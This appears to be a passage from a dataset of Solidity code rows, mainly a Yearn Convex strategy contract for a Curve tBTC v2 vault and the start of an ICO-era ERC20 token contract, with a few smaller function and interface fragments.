function isLocked(uint256 id) external view returns (bool);
function excludedFromFees(address addr) external view returns (bool);
function factoryMintFee() external view returns (uint64);
function factoryRandomRedeemFee() external view returns (uint64);
function factoryTargetRedeemFee() external view returns (uint64);
function vaultFees(uint256 vaultId) external view returns (uint256, uint256, uint256);
}
| 74,750 |
./full_match/1/0x44C095793fEA837Dea8AD1fa6a20fF3010e0A023/sources/browser/CarmaMaster.sol | Mints required amount of CARMA tokens to transfer to the stakers later | function _mintCarma() internal {
uint256 blocksPassed = block.number.sub(lastMintBlock);
if (blocksPassed == 0) {
return;
}
carma.mint(
address(this),
blocksPassed.mul(CARMA_PER_LP).mul(totalStaked)
);
lastMintBlock = block.number;
}
| 8,339,133 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@keep-network/yearn-vaults/contracts/BaseStrategy.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/Math.sol";
/// @notice Interface for the CurveFi pool.
/// @dev This is an interface with just a few function signatures of the pool.
/// For more info and function description please see:
/// https://github.com/curvefi/curve-contract/tree/master/contracts/pool-templates
interface ICurvePool {
function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount)
external
payable;
function calc_token_amount(uint256[4] calldata amounts, bool deposit)
external
view
returns (uint256);
}
/// @notice Interface for the Convex booster.
/// @dev This is an interface with just a few function signatures of the booster.
/// For more info and function description please see:
/// https://github.com/convex-eth/platform/blob/main/contracts/contracts/Booster.sol
interface IConvexBooster {
function poolInfo(uint256)
external
view
returns (
address lpToken,
address convexDepositToken,
address curvePoolGauge,
address convexRewardPool,
address convexExtraRewardStash,
bool shutdown
);
function deposit(
uint256 poolId,
uint256 amount,
bool stake
) external returns (bool);
function earmarkRewards(uint256 poolId) external returns (bool);
}
/// @notice Interface for the Uniswap v2 router.
/// @dev This is an interface with just a few function signatures of the
/// router contract. For more info and function description please see:
/// https://uniswap.org/docs/v2/smart-contracts/router02
/// This interface allows to interact with Sushiswap as well.
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint256,
uint256,
address[] calldata,
address,
uint256
) external;
function getAmountsOut(uint256 amountIn, address[] memory path)
external
view
returns (uint256[] memory amounts);
}
/// @notice Interface for the Convex reward pool.
/// @dev This is an interface with just a few function signatures of the
/// reward pool. For more info and function description please see:
/// https://github.com/convex-eth/platform/blob/main/contracts/contracts/BaseRewardPool.sol
interface IConvexRewardPool {
function balanceOf(address account) external view returns (uint256);
function withdrawAndUnwrap(uint256 amount, bool claim)
external
returns (bool);
function withdrawAllAndUnwrap(bool claim) external;
function getReward(address account, bool claimExtras)
external
returns (bool);
}
/// @notice Interface for the Convex extra reward stash.
/// @dev This is an interface with just a few function signatures of the extra
/// reward stash. For more info and function description please see:
/// https://github.com/convex-eth/platform/blob/main/contracts/contracts/ExtraRewardStashV1.sol
interface IConvexExtraRewardStash {
function tokenInfo()
external
view
returns (
address extraRewardToken,
address extraRewardPool,
uint256 lastActiveTime
);
}
/// @notice Interface for the optional metadata functions from the ERC20 standard.
interface IERC20Metadata {
function symbol() external view returns (string memory);
}
/// @title ConvexStrategy
/// @notice This strategy is meant to be used with the Curve tBTC v2 pool vault.
/// The vault's underlying token (a.k.a. want token) should be the LP
/// token of the Curve tBTC v2 pool. This strategy borrows the vault's
/// underlying token up to the debt limit configured for this strategy
/// in the vault. In order to make the profit, the strategy deposits
/// the borrowed tokens into the Convex reward pool via the Convex
/// booster contract. Depositing tokens in the reward pool generates
/// regular CRV and CVX rewards. It can also provide extra rewards
/// (denominated in another token) if the Convex reward pool works on
/// top of a Curve pool gauge which stakes its deposits into the
/// Synthetix staking rewards contract. The financial outcome is settled
/// upon a call of the `harvest` method (BaseStrategy.sol). Once that
/// call is made, the strategy gets the CRV and CVX rewards from Convex
/// reward pool, and claims extra rewards if applicable. Then, it takes
/// a small portion of CRV (defined by keepCRV param) and locks it
/// into the Curve vote escrow (via CurveYCRVVoter contract) to gain
/// CRV boost and increase future gains. Remaining CRV, CVX, and
/// optional extra reward tokens are used to buy wBTC via a
/// decentralized exchange. At the end, the strategy takes acquired wBTC
/// and deposits them to the Curve tBTC v2 pool. This way it obtains new
/// LP tokens the vault is interested for, and makes the profit in
/// result. At this stage, the strategy may repay some debt back to the
/// vault, if needed. The entire cycle repeats for the strategy lifetime
/// so all gains are constantly reinvested. Worth to flag that current
/// implementation uses wBTC as the intermediary token because
/// of its liquidity and ubiquity in BTC-based Curve pools.
/// @dev Implementation is based on:
/// - General Yearn strategy template
/// https://github.com/yearn/brownie-strategy-mix
/// - Convex implementation for tBTC v1 vault
/// https://github.com/orbxball/btc-curve-convex
contract ConvexStrategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
/// @notice Governance delay that needs to pass before any parameter change
/// initiated by the governance takes effect.
uint256 public constant GOVERNANCE_DELAY = 48 hours;
uint256 public constant DENOMINATOR = 10000;
// Address of the CurveYCRVVoter contract.
address public constant voter =
address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
// Address of the Convex Booster contract.
address public constant booster =
address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31);
// Address of the CRV token contract.
address public constant crvToken =
address(0xD533a949740bb3306d119CC777fa900bA034cd52);
// Address of the Convex CVX token contract.
address public constant cvxToken =
address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
// Address of the WETH token contract.
address public constant wethToken =
address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
// Address of the WBTC token contract.
address public constant wbtcToken =
address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
// Address of the Uniswap V2 router contract.
address public constant uniswap =
address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Address of the Sushiswap router contract.
address public constant sushiswap =
address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
// Address of the depositor contract for the tBTC v2 Curve pool.
address public immutable tbtcCurvePoolDepositor;
// ID of the Convex reward pool paired with the tBTC v2 Curve pool.
uint256 public immutable tbtcConvexRewardPoolId;
// Address of the Convex reward pool contract paired with the
// tBTC v2 Curve pool.
address public immutable tbtcConvexRewardPool;
// Address of the extra reward token distributed by the Convex reward pool
// paired with the tBTC v2 Curve pool. This is applicable only in case when
// the Curve pool's gauge stakes LP tokens into the Synthetix staking
// rewards contract (i.e. the gauge is an instance of LiquidityGaugeReward
// contract). In such a case, the Convex reward pool wraps the gauge's
// additional rewards as Convex extra rewards. This address can be unset if
// extra rewards are not distributed by the Convex reward pool.
address public tbtcConvexExtraReward;
// Determines the portion of CRV tokens which should be locked in the
// Curve vote escrow to gain a CRV boost. This is the counter of a fraction
// denominated by the DENOMINATOR constant. For example, if the value
// is `1000`, that means 10% of tokens will be locked because
// 1000/10000 = 0.1
uint256 public keepCRV;
uint256 public newKeepCRV;
uint256 public keepCRVChangeInitiated;
// If extra reward balance is below this threshold, those rewards won't
// be sold during prepareReturn method execution. This parameter is here
// because extra reward amounts can be to small to exchange them on DEX
// immediately and that situation will cause reverts of the prepareReturn
// method. Setting that threshold to a non-zero value allows to accumulate
// extra rewards to a specific amount which can be sold without troubles.
uint256 public extraRewardSwapThreshold;
uint256 public newExtraRewardSwapThreshold;
uint256 public extraRewardSwapThresholdChangeInitiated;
// Determines the slippage tolerance for price-sensitive transactions.
// If transaction's slippage is higher, transaction will be reverted.
// Default value is 100 basis points (1%).
uint256 public slippageTolerance = 100;
uint256 public newSlippageTolerance;
uint256 public slippageToleranceChangeInitiated;
event KeepCRVUpdateStarted(uint256 keepCRV, uint256 timestamp);
event KeepCRVUpdated(uint256 keepCRV);
event ExtraRewardSwapThresholdUpdateStarted(
uint256 extraRewardSwapThreshold,
uint256 timestamp
);
event ExtraRewardSwapThresholdUpdated(uint256 extraRewardSwapThreshold);
event SlippageToleranceUpdateStarted(
uint256 slippageTolerance,
uint256 timestamp
);
event SlippageToleranceUpdated(uint256 slippageTolerance);
/// @notice Reverts if called before the governance delay elapses.
/// @param changeInitiatedTimestamp Timestamp indicating the beginning
/// of the change.
modifier onlyAfterGovernanceDelay(uint256 changeInitiatedTimestamp) {
require(changeInitiatedTimestamp > 0, "Change not initiated");
require(
/* solhint-disable-next-line not-rely-on-time */
block.timestamp - changeInitiatedTimestamp >= GOVERNANCE_DELAY,
"Governance delay has not elapsed"
);
_;
}
constructor(
address _vault,
address _tbtcCurvePoolDepositor,
uint256 _tbtcConvexRewardPoolId
) public BaseStrategy(_vault) {
// Strategy settings.
minReportDelay = 12 hours;
maxReportDelay = 3 days;
profitFactor = 1000;
debtThreshold = 1e21;
keepCRV = 1000;
// tBTC-related settings.
tbtcCurvePoolDepositor = _tbtcCurvePoolDepositor;
tbtcConvexRewardPoolId = _tbtcConvexRewardPoolId;
(
address lpToken,
,
,
address rewardPool,
address extraRewardStash,
) = IConvexBooster(booster).poolInfo(_tbtcConvexRewardPoolId);
require(lpToken == address(want), "Incorrect reward pool LP token");
tbtcConvexRewardPool = rewardPool;
if (extraRewardStash != address(0)) {
(address extraRewardToken, , ) = IConvexExtraRewardStash(
extraRewardStash
).tokenInfo();
if (extraRewardToken != address(0)) {
tbtcConvexExtraReward = extraRewardToken;
}
}
}
/// @notice Begins the update of the threshold determining the portion of
/// CRV tokens which should be locked in the Curve vote escrow to
/// gain CRV boost.
/// @dev Can be called only by the strategist and governance.
/// @param _newKeepCRV Portion as counter of a fraction denominated by the
/// DENOMINATOR constant.
function beginKeepCRVUpdate(uint256 _newKeepCRV) external onlyAuthorized {
require(_newKeepCRV <= DENOMINATOR, "Max value is 10000");
newKeepCRV = _newKeepCRV;
keepCRVChangeInitiated = block.timestamp;
emit KeepCRVUpdateStarted(_newKeepCRV, block.timestamp);
}
/// @notice Finalizes the keep CRV threshold update process.
/// @dev Can be called only by the strategist and governance, after the
/// governance delay elapses.
function finalizeKeepCRVUpdate()
external
onlyAuthorized
onlyAfterGovernanceDelay(keepCRVChangeInitiated)
{
keepCRV = newKeepCRV;
emit KeepCRVUpdated(newKeepCRV);
keepCRVChangeInitiated = 0;
newKeepCRV = 0;
}
/// @notice Begins the update of the extra reward swap threshold.
/// @dev Can be called only by the strategist and governance.
/// @param _newExtraRewardSwapThreshold New swap threshold.
function beginExtraRewardSwapThresholdUpdate(
uint256 _newExtraRewardSwapThreshold
) external onlyAuthorized {
newExtraRewardSwapThreshold = _newExtraRewardSwapThreshold;
extraRewardSwapThresholdChangeInitiated = block.timestamp;
emit ExtraRewardSwapThresholdUpdateStarted(
_newExtraRewardSwapThreshold,
block.timestamp
);
}
/// @notice Finalizes the update of the extra reward swap threshold.
/// @dev Can be called only by the strategist and governance, after the
/// governance delay elapses.
function finalizeExtraRewardSwapThresholdUpdate()
external
onlyAuthorized
onlyAfterGovernanceDelay(extraRewardSwapThresholdChangeInitiated)
{
extraRewardSwapThreshold = newExtraRewardSwapThreshold;
emit ExtraRewardSwapThresholdUpdated(newExtraRewardSwapThreshold);
extraRewardSwapThresholdChangeInitiated = 0;
newExtraRewardSwapThreshold = 0;
}
/// @notice Begins the update of the slippage tolerance parameter.
/// @dev Can be called only by the strategist and governance.
/// @param _newSlippageTolerance Slippage tolerance as counter of a fraction
/// denominated by the DENOMINATOR constant.
function beginSlippageToleranceUpdate(uint256 _newSlippageTolerance)
external
onlyAuthorized
{
require(_newSlippageTolerance <= DENOMINATOR, "Max value is 10000");
newSlippageTolerance = _newSlippageTolerance;
slippageToleranceChangeInitiated = block.timestamp;
emit SlippageToleranceUpdateStarted(
_newSlippageTolerance,
block.timestamp
);
}
/// @notice Finalizes the update of the slippage tolerance parameter.
/// @dev Can be called only by the strategist and governance, after the the
/// governance delay elapses.
function finalizeSlippageToleranceUpdate()
external
onlyAuthorized
onlyAfterGovernanceDelay(slippageToleranceChangeInitiated)
{
slippageTolerance = newSlippageTolerance;
emit SlippageToleranceUpdated(newSlippageTolerance);
slippageToleranceChangeInitiated = 0;
newSlippageTolerance = 0;
}
/// @return Name of the Yearn vault strategy.
function name() external view override returns (string memory) {
return
string(
abi.encodePacked(
"Convex",
IERC20Metadata(address(want)).symbol()
)
);
}
/// @return Balance of the vault's underlying token under management.
function balanceOfWant() public view returns (uint256) {
return want.balanceOf(address(this));
}
/// @return Balance of the vault's underlying token staked into the Convex
/// reward pool.
function balanceOfPool() public view returns (uint256) {
return IConvexRewardPool(tbtcConvexRewardPool).balanceOf(address(this));
}
/// @return Sum of balanceOfWant and balanceOfPool.
function estimatedTotalAssets() public view override returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
/// @notice This method is defined in the BaseStrategy contract and is
/// meant to perform any adjustments to the core position(s) of this
/// strategy, given what change the vault made in the investable
/// capital available to the strategy. All free capital in the
/// strategy after the report was made is available for reinvestment.
/// This strategy implements the aforementioned behavior by taking
/// its balance of the vault's underlying token and depositing it to
/// the Convex Booster contract.
/// @param debtOutstanding Will be 0 if the strategy is not past the
/// configured debt limit, otherwise its value will be how far past
/// the debt limit the strategy is. The strategy's debt limit is
/// configured in the vault.
function adjustPosition(uint256 debtOutstanding) internal override {
uint256 wantBalance = balanceOfWant();
if (wantBalance > 0) {
want.safeIncreaseAllowance(booster, wantBalance);
IConvexBooster(booster).deposit(
tbtcConvexRewardPoolId,
wantBalance,
true
);
}
}
/// @notice Withdraws a portion of the vault's underlying token from
/// the Convex reward pool.
/// @param amount Amount to withdraw.
/// @return Amount withdrawn.
function withdrawSome(uint256 amount) internal returns (uint256) {
amount = Math.min(amount, balanceOfPool());
uint256 initialWantBalance = balanceOfWant();
// Withdraw some vault's underlying tokens but do not claim the rewards
// accumulated so far.
IConvexRewardPool(tbtcConvexRewardPool).withdrawAndUnwrap(
amount,
false
);
return balanceOfWant().sub(initialWantBalance);
}
/// @notice This method is defined in the BaseStrategy contract and is meant
/// to liquidate up to amountNeeded of want token of this strategy's
/// positions, irregardless of slippage. Any excess will be
/// re-invested with adjustPosition. This function should return
/// the amount of want tokens made available by the liquidation.
/// If there is a difference between them, loss indicates whether
/// the difference is due to a realized loss, or if there is some
/// other situation at play (e.g. locked funds). This strategy
/// implements the aforementioned behavior by withdrawing a portion
/// of the vault's underlying token (want token) from the Convex
/// reward pool.
/// @dev The invariant `liquidatedAmount + loss <= amountNeeded` should
/// always be maintained.
/// @param amountNeeded Amount of the vault's underlying tokens needed by
/// the liquidation process.
/// @return liquidatedAmount Amount of vault's underlying tokens made
/// available by the liquidation.
/// @return loss Amount of the loss.
function liquidatePosition(uint256 amountNeeded)
internal
override
returns (uint256 liquidatedAmount, uint256 loss)
{
uint256 wantBalance = balanceOfWant();
if (wantBalance < amountNeeded) {
liquidatedAmount = withdrawSome(amountNeeded.sub(wantBalance));
liquidatedAmount = liquidatedAmount.add(wantBalance);
loss = amountNeeded.sub(liquidatedAmount);
} else {
liquidatedAmount = amountNeeded;
}
}
/// @notice This method is defined in the BaseStrategy contract and is meant
/// to liquidate everything and return the amount that got freed.
/// This strategy implements the aforementioned behavior by withdrawing
/// all vault's underlying tokens from the Convex reward pool.
/// @dev This function is used during emergency exit instead of prepareReturn
/// to liquidate all of the strategy's positions back to the vault.
/// @return Total balance of want token held by this strategy.
function liquidateAllPositions() internal override returns (uint256) {
// Withdraw all vault's underlying tokens from the Convex reward pool.
// However, do not claim the rewards accumulated so far because this is
// an emergency action and we just focus on recovering all principle
// funds, without trying to realize potential gains.
IConvexRewardPool(tbtcConvexRewardPool).withdrawAllAndUnwrap(false);
// Yearn docs doesn't specify clear enough what exactly should be
// returned here. It may be either the total balance after
// withdrawAllAndUnwrap or just the amount withdrawn. Currently opting
// for the former because of
// https://github.com/yearn/yearn-vaults/pull/311#discussion_r625588313.
// Also, usage of this result in the harvest method in the BaseStrategy
// seems to confirm that.
return balanceOfWant();
}
/// @notice This method is defined in the BaseStrategy contract and is meant
/// to do anything necessary to prepare this strategy for migration,
/// such as transferring any reserve or LP tokens, CDPs, or other
/// tokens or stores of value. This strategy implements the
/// aforementioned behavior by withdrawing all vault's underlying
/// tokens from the Convex reward pool, claiming all rewards
/// accumulated so far, and transferring those rewards to the new
/// strategy.
/// @param newStrategy Address of the new strategy meant to replace the
/// current one.
function prepareMigration(address newStrategy) internal override {
// Just withdraw the vault's underlying token from the Convex reward pool.
// There is no need to transfer those tokens to the new strategy
// right here as this is done in the BaseStrategy's migrate() method.
// This call also claims the rewards accumulated so far but they
// must be transferred to the new strategy manually.
IConvexRewardPool(tbtcConvexRewardPool).withdrawAllAndUnwrap(true);
// Transfer all claimed rewards to the new strategy manually.
IERC20(crvToken).safeTransfer(
newStrategy,
IERC20(crvToken).balanceOf(address(this))
);
IERC20(cvxToken).safeTransfer(
newStrategy,
IERC20(cvxToken).balanceOf(address(this))
);
if (tbtcConvexExtraReward != address(0)) {
IERC20(tbtcConvexExtraReward).safeTransfer(
newStrategy,
IERC20(tbtcConvexExtraReward).balanceOf(address(this))
);
}
}
/// @notice Takes the keepCRV portion of the CRV balance and transfers
/// it to the CurveYCRVVoter contract in order to gain CRV boost.
/// @param crvBalance Balance of CRV tokens under management.
/// @return Amount of CRV tokens remaining under management after the
/// transfer.
function adjustCRV(uint256 crvBalance) internal returns (uint256) {
uint256 crvTransfer = crvBalance.mul(keepCRV).div(DENOMINATOR);
IERC20(crvToken).safeTransfer(voter, crvTransfer);
return crvBalance.sub(crvTransfer);
}
/// @notice This method is defined in the BaseStrategy contract and is meant
/// to perform any strategy unwinding or other calls necessary to
/// capture the free return this strategy has generated since the
/// last time its core position(s) were adjusted. Examples include
/// unwrapping extra rewards. This call is only used during normal
/// operation of a strategy, and should be optimized to minimize
/// losses as much as possible. This strategy implements the
/// aforementioned behavior by getting CRV, CVX, and optional extra
/// rewards from the Convex reward pool, using obtained tokens to
/// buy one of the Curve pool's accepted token, and depositing that
/// token back to the Curve pool. This way the strategy is gaining
/// new vault's underlying tokens thus making the profit. A small
/// portion of CRV rewards (defined by keepCRV param) is transferred
/// to the voter contract to increase CRV boost and get more CRV
/// rewards in the future.
/// @param debtOutstanding Will be 0 if the strategy is not past the
/// configured debt limit, otherwise its value will be how far past
/// the debt limit the strategy is. The strategy's debt limit is
/// configured in the vault.
/// @return profit Amount of realized profit.
/// @return loss Amount of realized loss.
/// @return debtPayment Amount of repaid debt. The value of debtPayment
/// should be less than or equal to debtOutstanding. It is okay for
/// it to be less than debtOutstanding, as that should only used as
/// a guide for how much is left to pay back. Payments should be
/// made to minimize loss from slippage, debt, withdrawal fees, etc.
function prepareReturn(uint256 debtOutstanding)
internal
override
returns (
uint256 profit,
uint256 loss,
uint256 debtPayment
)
{
// Get the initial balance of the vault's underlying token under
// strategy management.
uint256 initialWantBalance = balanceOfWant();
// Get CRV and CVX rewards from the Convex reward pool. Also, claim
// extra rewards if such rewards are distributed by the pool.
IConvexRewardPool(tbtcConvexRewardPool).getReward(address(this), true);
// Buy WBTC using obtained CRV tokens.
uint256 crvBalance = IERC20(crvToken).balanceOf(address(this));
if (crvBalance > 0) {
// Deposit a portion of CRV to the voter to gain CRV boost.
crvBalance = adjustCRV(crvBalance);
IERC20(crvToken).safeIncreaseAllowance(uniswap, crvBalance);
address[] memory path = new address[](3);
path[0] = crvToken;
path[1] = wethToken;
path[2] = wbtcToken;
IUniswapV2Router(uniswap).swapExactTokensForTokens(
crvBalance,
minSwapOutAmount(uniswap, crvBalance, path),
path,
address(this),
now
);
}
// Buy WBTC using obtained CVX tokens. Use SushiSwap as CVX is not
// supported by UniSwap.
uint256 cvxBalance = IERC20(cvxToken).balanceOf(address(this));
if (cvxBalance > 0) {
IERC20(cvxToken).safeIncreaseAllowance(sushiswap, cvxBalance);
address[] memory path = new address[](3);
path[0] = cvxToken;
path[1] = wethToken;
path[2] = wbtcToken;
IUniswapV2Router(sushiswap).swapExactTokensForTokens(
cvxBalance,
minSwapOutAmount(sushiswap, cvxBalance, path),
path,
address(this),
now
);
}
// Buy WBTC using obtained extra reward tokens, if applicable.
if (tbtcConvexExtraReward != address(0)) {
uint256 extraRewardBalance = IERC20(tbtcConvexExtraReward)
.balanceOf(address(this));
if (extraRewardBalance > extraRewardSwapThreshold) {
IERC20(tbtcConvexExtraReward).safeIncreaseAllowance(
uniswap,
extraRewardBalance
);
address[] memory path = new address[](3);
path[0] = tbtcConvexExtraReward;
path[1] = wethToken;
path[2] = wbtcToken;
IUniswapV2Router(uniswap).swapExactTokensForTokens(
extraRewardBalance,
minSwapOutAmount(uniswap, extraRewardBalance, path),
path,
address(this),
now
);
}
}
// Deposit acquired WBTC to the Curve pool to gain additional
// vault's underlying tokens.
uint256 wbtcBalance = IERC20(wbtcToken).balanceOf(address(this));
if (wbtcBalance > 0) {
IERC20(wbtcToken).safeIncreaseAllowance(
tbtcCurvePoolDepositor,
wbtcBalance
);
// TODO: When the new curve pool with tBTC v2 is deployed, verify
// that the index of wBTC in the array is correct.
uint256[4] memory amounts = [0, 0, wbtcBalance, 0];
ICurvePool(tbtcCurvePoolDepositor).add_liquidity(
amounts,
minLiquidityDepositOutAmount(amounts)
);
}
// Check the profit and loss in the context of strategy debt.
uint256 totalAssets = estimatedTotalAssets();
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
if (totalAssets < totalDebt) {
loss = totalDebt - totalAssets;
profit = 0;
} else {
profit = balanceOfWant().sub(initialWantBalance);
}
// Repay some vault debt if needed.
if (debtOutstanding > 0) {
withdrawSome(debtOutstanding);
debtPayment = Math.min(
debtOutstanding,
balanceOfWant().sub(profit)
);
}
}
/// @notice Calculates the minimum amount of output tokens that must be
/// received for the swap transaction not to revert.
/// @param dex Address of DEX executing the swap.
/// @param amountIn The amount of input tokens to send.
/// @param path An array of token addresses determining the swap route.
/// @return The minimum amount of output tokens that must be received for
/// the swap transaction not to revert.
function minSwapOutAmount(
address dex,
uint256 amountIn,
address[] memory path
) internal view returns (uint256) {
// Get the maximum possible amount of the output token based on
// pair reserves.
uint256 amount = IUniswapV2Router(dex).getAmountsOut(amountIn, path)[
path.length - 1
];
// Include slippage tolerance into the maximum amount of output tokens
// in order to obtain the minimum amount desired.
return (amount * (DENOMINATOR - slippageTolerance)) / DENOMINATOR;
}
/// @notice Calculates the minimum amount of LP tokens that must be
/// received for the liquidity deposit transaction not to revert.
/// @param amountsIn Amounts of each underlying coin being deposited.
/// @return The minimum amount of LP tokens that must be received for
/// the liquidity deposit transaction not to revert.
function minLiquidityDepositOutAmount(uint256[4] memory amountsIn)
internal
view
returns (uint256)
{
// Get the maximum possible amount of LP tokens received in return
// for liquidity deposit based on pool reserves.
uint256 amount = ICurvePool(tbtcCurvePoolDepositor).calc_token_amount(
amountsIn,
true
);
// Include slippage tolerance into the maximum amount of LP tokens
// in order to obtain the minimum amount desired.
return (amount * (DENOMINATOR - slippageTolerance)) / DENOMINATOR;
}
/// @notice This method is defined in the BaseStrategy contract and is meant
/// to define all tokens/tokenized positions this contract manages
/// on a persistent basis (e.g. not just for swapping back to
/// the want token ephemerally).
/// @dev Should not include want token, already included in the base contract.
/// @return Addresses of protected tokens
function protectedTokens()
internal
view
override
returns (address[] memory)
{
if (tbtcConvexExtraReward != address(0)) {
address[] memory protected = new address[](3);
protected[0] = crvToken;
protected[1] = cvxToken;
protected[2] = tbtcConvexExtraReward;
return protected;
}
address[] memory protected = new address[](2);
protected[0] = crvToken;
protected[1] = cvxToken;
return protected;
}
/// @notice This method is defined in the BaseStrategy contract and is meant
/// to provide an accurate conversion from amtInWei (denominated in wei)
/// to want token (using the native decimal characteristics of want token).
/// @param amtInWei The amount (in wei/1e-18 ETH) to convert to want tokens.
/// @return The amount in want tokens.
function ethToWant(uint256 amtInWei)
public
view
virtual
override
returns (uint256)
{
address[] memory path = new address[](2);
path[0] = wethToken;
path[1] = wbtcToken;
// As of writing this contract, there's no pool available that trades
// an underlying token with ETH. To overcome this, the ETH amount
// denominated in WEI should be converted into an amount denominated
// in one of the tokens accepted by the tBTC v2 Curve pool using Uniswap.
// The wBTC token was chosen arbitrarily since it is already used in this
// contract for other operations on Uniswap.
// amounts[0] -> ETH in wei
// amounts[1] -> wBTC
uint256[] memory amounts = IUniswapV2Router(uniswap).getAmountsOut(
amtInWei,
path
);
// Use the amount denominated in wBTC to calculate the amount of LP token
// (vault's underlying token) that could be obtained if that wBTC amount
// was deposited in the Curve pool that has tBTC v2 in it. This way we
// obtain an estimated value of the original WEI amount represented in
// the vault's underlying token.
//
// TODO: When the new curve pool with tBTC v2 is deployed, verify that
// the index of wBTC (amounts[1]) in the array is correct.
return
ICurvePool(tbtcCurvePoolDepositor).calc_token_amount(
[0, 0, amounts[1], 0],
true
);
}
}
| Interface for the Convex reward pool. This is an interface with just a few function signatures of the reward pool. For more info and function description please see: https://github.com/convex-eth/platform/blob/main/contracts/contracts/BaseRewardPool.sol | interface IConvexRewardPool {
function balanceOf(address account) external view returns (uint256);
function withdrawAndUnwrap(uint256 amount, bool claim)
external
returns (bool);
function withdrawAllAndUnwrap(bool claim) external;
function getReward(address account, bool claimExtras)
external
returns (bool);
}
| 12,855,654 |
pragma solidity ^0.4.24;
////////////////////////////////////////////////////////////////////////////////
library SafeMath
{
//--------------------------------------------------------------------------
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) return 0;
uint256 c = a * b;
assert(c / a == b);
return c;
}
//--------------------------------------------------------------------------
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a/b;
}
//--------------------------------------------------------------------------
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
//--------------------------------------------------------------------------
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
////////////////////////////////////////////////////////////////////////////////
library StringLib // (minimal version)
{
function same(string strA, string strB) internal pure returns(bool)
{
return keccak256(abi.encodePacked(strA))==keccak256(abi.encodePacked(strB)); // using abi.encodePacked since solidity v0.4.23
}
}
////////////////////////////////////////////////////////////////////////////////
contract ERC20
{
using SafeMath for uint256;
using StringLib for string;
//----- VARIABLES
address public owner; // Owner of this contract
address public admin; // The one who is allowed to do changes
mapping(address => uint256) balances; // Maintain balance in a mapping
mapping(address => mapping (address => uint256)) allowances; // Allowances index-1 = Owner account index-2 = spender account
//------ TOKEN SPECIFICATION
string public constant name = "BqtX Token";
string public constant symbol = "BQTX";
uint256 public constant decimals = 18; // Handle the coin as FIAT (2 decimals). ETH Handles 18 decimal places
uint256 public constant initSupply = 800000000 * 10**decimals; // 10**18 max
uint256 public constant supplyReserveVal = 600000000 * 10**decimals; // if quantity => the ##MACRO## addrs "* 10**decimals"
//-----
uint256 public totalSupply;
uint256 public icoSalesSupply = 0; // Needed when burning tokens
uint256 public icoReserveSupply = 0;
uint256 public softCap = 10000000 * 10**decimals;
uint256 public hardCap = 500000000 * 10**decimals;
//---------------------------------------------------- smartcontract control
uint256 public icoDeadLine = 1544313600; // 2018-12-09 00:00 (GMT+0)
bool public isIcoPaused = false;
bool public isStoppingIcoOnHardCap = false;
//--------------------------------------------------------------------------
modifier duringIcoOnlyTheOwner() // if not during the ico : everyone is allowed at anytime
{
require( now>icoDeadLine || msg.sender==owner );
_;
}
modifier icoFinished() { require(now > icoDeadLine); _; }
modifier icoNotFinished() { require(now <= icoDeadLine); _; }
modifier icoNotPaused() { require(isIcoPaused==false); _; }
modifier icoPaused() { require(isIcoPaused==true); _; }
modifier onlyOwner() { require(msg.sender==owner); _; }
modifier onlyAdmin() { require(msg.sender==admin); _; }
//----- EVENTS
event Transfer(address indexed fromAddr, address indexed toAddr, uint256 amount);
event Approval(address indexed _owner, address indexed _spender, uint256 amount);
//---- extra EVENTS
event onAdminUserChanged( address oldAdmin, address newAdmin);
event onOwnershipTransfered(address oldOwner, address newOwner);
event onAdminUserChange( address oldAdmin, address newAdmin);
event onIcoDeadlineChanged( uint256 oldIcoDeadLine, uint256 newIcoDeadline);
event onHardcapChanged( uint256 hardCap, uint256 newHardCap);
event icoIsNowPaused( uint8 newPauseStatus);
event icoHasRestarted( uint8 newPauseStatus);
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
constructor() public
{
owner = msg.sender;
admin = owner;
isIcoPaused = false;
//-----
balances[owner] = initSupply; // send the tokens to the owner
totalSupply = initSupply;
icoSalesSupply = totalSupply;
//----- Handling if there is a special maximum amount of tokens to spend during the ICO or not
icoSalesSupply = totalSupply.sub(supplyReserveVal);
icoReserveSupply = totalSupply.sub(icoSalesSupply);
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//----- ERC20 FUNCTIONS
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
function balanceOf(address walletAddress) public constant returns (uint256 balance)
{
return balances[walletAddress];
}
//--------------------------------------------------------------------------
function transfer(address toAddr, uint256 amountInWei) public duringIcoOnlyTheOwner returns (bool) // don't icoNotPaused here. It's a logic issue.
{
require(toAddr!=0x0 && toAddr!=msg.sender && amountInWei>0); // Prevent transfer to 0x0 address and to self, amount must be >0
uint256 availableTokens = balances[msg.sender];
//----- Checking Token reserve first : if during ICO
if (msg.sender==owner && now <= icoDeadLine) // ICO Reserve Supply checking: Don't touch the RESERVE of tokens when owner is selling
{
assert(amountInWei<=availableTokens);
uint256 balanceAfterTransfer = availableTokens.sub(amountInWei);
assert(balanceAfterTransfer >= icoReserveSupply); // We try to sell more than allowed during an ICO
}
//-----
balances[msg.sender] = balances[msg.sender].sub(amountInWei);
balances[toAddr] = balances[toAddr].add(amountInWei);
emit Transfer(msg.sender, toAddr, amountInWei);
return true;
}
//--------------------------------------------------------------------------
function allowance(address walletAddress, address spender) public constant returns (uint remaining)
{
return allowances[walletAddress][spender];
}
//--------------------------------------------------------------------------
